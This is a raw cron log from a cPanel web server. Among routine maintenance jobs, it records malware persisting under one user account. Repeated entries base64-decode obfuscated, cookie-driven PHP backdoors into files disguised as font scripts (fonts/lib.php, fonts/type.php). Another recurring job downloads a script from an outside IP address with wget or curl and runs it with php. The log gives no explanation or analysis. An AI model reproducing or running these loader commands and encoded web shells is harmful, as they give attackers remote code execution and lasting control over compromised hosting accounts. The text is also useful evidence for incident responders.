Sep 11 01:44:01 ip-184-168-122-23 CROND[9961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:45:01 ip-184-168-122-23 CROND[10056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:45:01 ip-184-168-122-23 CROND[10058]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:45:01 ip-184-168-122-23 CROND[10059]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:45:01 ip-184-168-122-23 CROND[10061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:45:01 ip-184-168-122-23 CROND[10060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:45:01 ip-184-168-122-23 CROND[10062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:46:01 ip-184-168-122-23 CROND[10157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:46:01 ip-184-168-122-23 CROND[10162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:46:01 ip-184-168-122-23 CROND[10163]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 01:46:01 ip-184-168-122-23 CROND[10165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:46:01 ip-184-168-122-23 CROND[10168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:46:01 ip-184-168-122-23 CROND[10170]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 01:46:01 ip-184-168-122-23 CROND[10172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:47:01 ip-184-168-122-23 CROND[10289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:47:01 ip-184-168-122-23 CROND[10291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:47:01 ip-184-168-122-23 CROND[10292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:47:01 ip-184-168-122-23 CROND[10293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:48:01 ip-184-168-122-23 CROND[10384]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:48:01 ip-184-168-122-23 CROND[10385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:48:01 ip-184-168-122-23 CROND[10388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:48:01 ip-184-168-122-23 CROND[10390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:48:01 ip-184-168-122-23 CROND[10391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:49:01 ip-184-168-122-23 CROND[10563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:49:01 ip-184-168-122-23 CROND[10564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:49:01 ip-184-168-122-23 CROND[10567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:49:01 ip-184-168-122-23 CROND[10569]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 01:49:01 ip-184-168-122-23 CROND[10568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:50:01 ip-184-168-122-23 CROND[10683]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 01:50:01 ip-184-168-122-23 CROND[10687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:50:01 ip-184-168-122-23 CROND[10691]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 01:50:01 ip-184-168-122-23 CROND[10693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:50:01 ip-184-168-122-23 CROND[10692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:50:01 ip-184-168-122-23 CROND[10697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:50:01 ip-184-168-122-23 CROND[10698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:50:01 ip-184-168-122-23 CROND[10694]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:50:01 ip-184-168-122-23 CROND[10699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:51:01 ip-184-168-122-23 CROND[10857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:51:01 ip-184-168-122-23 CROND[10859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:51:01 ip-184-168-122-23 CROND[10861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:51:01 ip-184-168-122-23 CROND[10864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:52:01 ip-184-168-122-23 CROND[10978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:52:01 ip-184-168-122-23 CROND[10980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:52:01 ip-184-168-122-23 CROND[10981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:52:01 ip-184-168-122-23 CROND[10982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:52:01 ip-184-168-122-23 CROND[10983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:53:01 ip-184-168-122-23 CROND[11117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:53:01 ip-184-168-122-23 CROND[11116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:53:01 ip-184-168-122-23 CROND[11118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:53:01 ip-184-168-122-23 CROND[11119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:54:01 ip-184-168-122-23 CROND[11306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:54:01 ip-184-168-122-23 CROND[11307]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:54:01 ip-184-168-122-23 CROND[11310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:54:01 ip-184-168-122-23 CROND[11311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:54:01 ip-184-168-122-23 CROND[11312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:55:01 ip-184-168-122-23 CROND[11421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:55:01 ip-184-168-122-23 CROND[11422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:55:01 ip-184-168-122-23 CROND[11425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:55:01 ip-184-168-122-23 CROND[11427]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:55:01 ip-184-168-122-23 CROND[11426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:55:01 ip-184-168-122-23 CROND[11424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:56:01 ip-184-168-122-23 CROND[11553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:56:01 ip-184-168-122-23 CROND[11556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
